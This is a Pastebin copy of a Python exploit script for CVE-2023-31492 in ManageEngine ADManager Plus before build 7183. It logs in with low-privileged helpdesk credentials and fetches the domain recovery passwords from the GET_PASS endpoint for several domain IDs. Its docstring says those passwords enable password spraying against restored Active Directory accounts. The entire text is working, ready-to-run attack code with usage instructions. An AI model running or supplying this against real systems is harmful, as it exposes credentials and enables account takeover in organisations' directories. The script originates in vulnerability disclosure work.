Advertisement
FlyFar

ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure

Feb 13th, 2024
802
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.54 KB | Cybersecurity | 0 0
  1. # Exploit Title: ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure
  2. # Exploit Author: Metin Yunus Kandemir
  3. # Vendor Homepage: https://www.manageengine.com/
  4. # Software Link: https://www.manageengine.com/products/ad-manager/
  5. # Details: https://docs.unsafe-inline.com/0day/manageengine-admanager-plus-build-less-than-7183-recovery-password-disclosure-cve-2023-31492
  6. # Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md
  7. # Version: ADManager Plus Build < 7183
  8. # Tested against: Build 7180
  9. # CVE: CVE-2023-31492
  10.  
  11. import argparse
  12. import requests
  13. import urllib3
  14. import sys
  15.  
  16. """
  17. The Recovery Settings helps you configure the restore and recycle options pertaining to the objects in the domain you wish to recover.
  18. When deleted user accounts are restored, defined password is set to the user accounts.
  19. Helpdesk technician that has not privilege for backup/recovery operations can view the password and then compromise restored user accounts conducting password spraying attack in the Active Directory environment.
  20. """
  21.  
  22. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  23.  
  24. def getPass(target, auth, user, password):
  25.     with requests.Session() as s:
  26.         if auth.lower() == 'admanager':
  27.             auth = 'ADManager Plus Authentication'
  28.         data = {
  29.             "is_admp_pass_encrypted": "false",
  30.             "j_username": user,
  31.             "j_password": password,
  32.             "domainName": auth,
  33.             "AUTHRULE_NAME": "ADAuthenticator"
  34.         }
  35.         # Login
  36.         url = target + 'j_security_check?LogoutFromSSO=true'
  37.         headers = {
  38.             "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
  39.             "Content-Type": "application/x-www-form-urlencoded"
  40.         }
  41.         req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
  42.         if 'Cookie' in req.request.headers:
  43.             print('[+] Authentication successful!')
  44.         elif req.status_code == 200:
  45.             print('[-] Invalid login name/password!')
  46.             sys.exit(0)
  47.         else:
  48.             print('[-] Something went wrong!')
  49.             sys.exit(1)
  50.  
  51.         # Fetching recovery password
  52.         for i in range(1, 6):
  53.             print('[*] Trying to fetch recovery password for domainId: %s !' % i)
  54.             passUrl = target + 'ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%22' + str(i) + '%22%7D'
  55.             passReq = s.get(passUrl, headers=headers, allow_redirects=False, verify=False)
  56.             if passReq.content:
  57.                 print(passReq.content)
  58.  
  59.  
  60. def main():
  61.     arg = get_args()
  62.     target = arg.target
  63.     auth = arg.auth
  64.     user = arg.user
  65.     password = arg.password
  66.     getPass(target, auth, user, password)
  67.  
  68.  
  69. def get_args():
  70.     parser = argparse.ArgumentParser(
  71.         epilog="Example: exploit.py -t https://target/ -a unsafe.local -u operator1 -p operator1")
  72.     parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
  73.     parser.add_argument('-a', '--auth', required=True, action='store',
  74.                         help='If you have credentials of the application user, type admanager. If you have credentials of the domain user, type domain DNS name of the target domain.')
  75.     parser.add_argument('-u', '--user', required=True, action='store')
  76.     parser.add_argument('-p', '--password', required=True, action='store')
  77.     args = parser.parse_args()
  78.     return args
  79.  
  80.  
  81. main()
  82.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement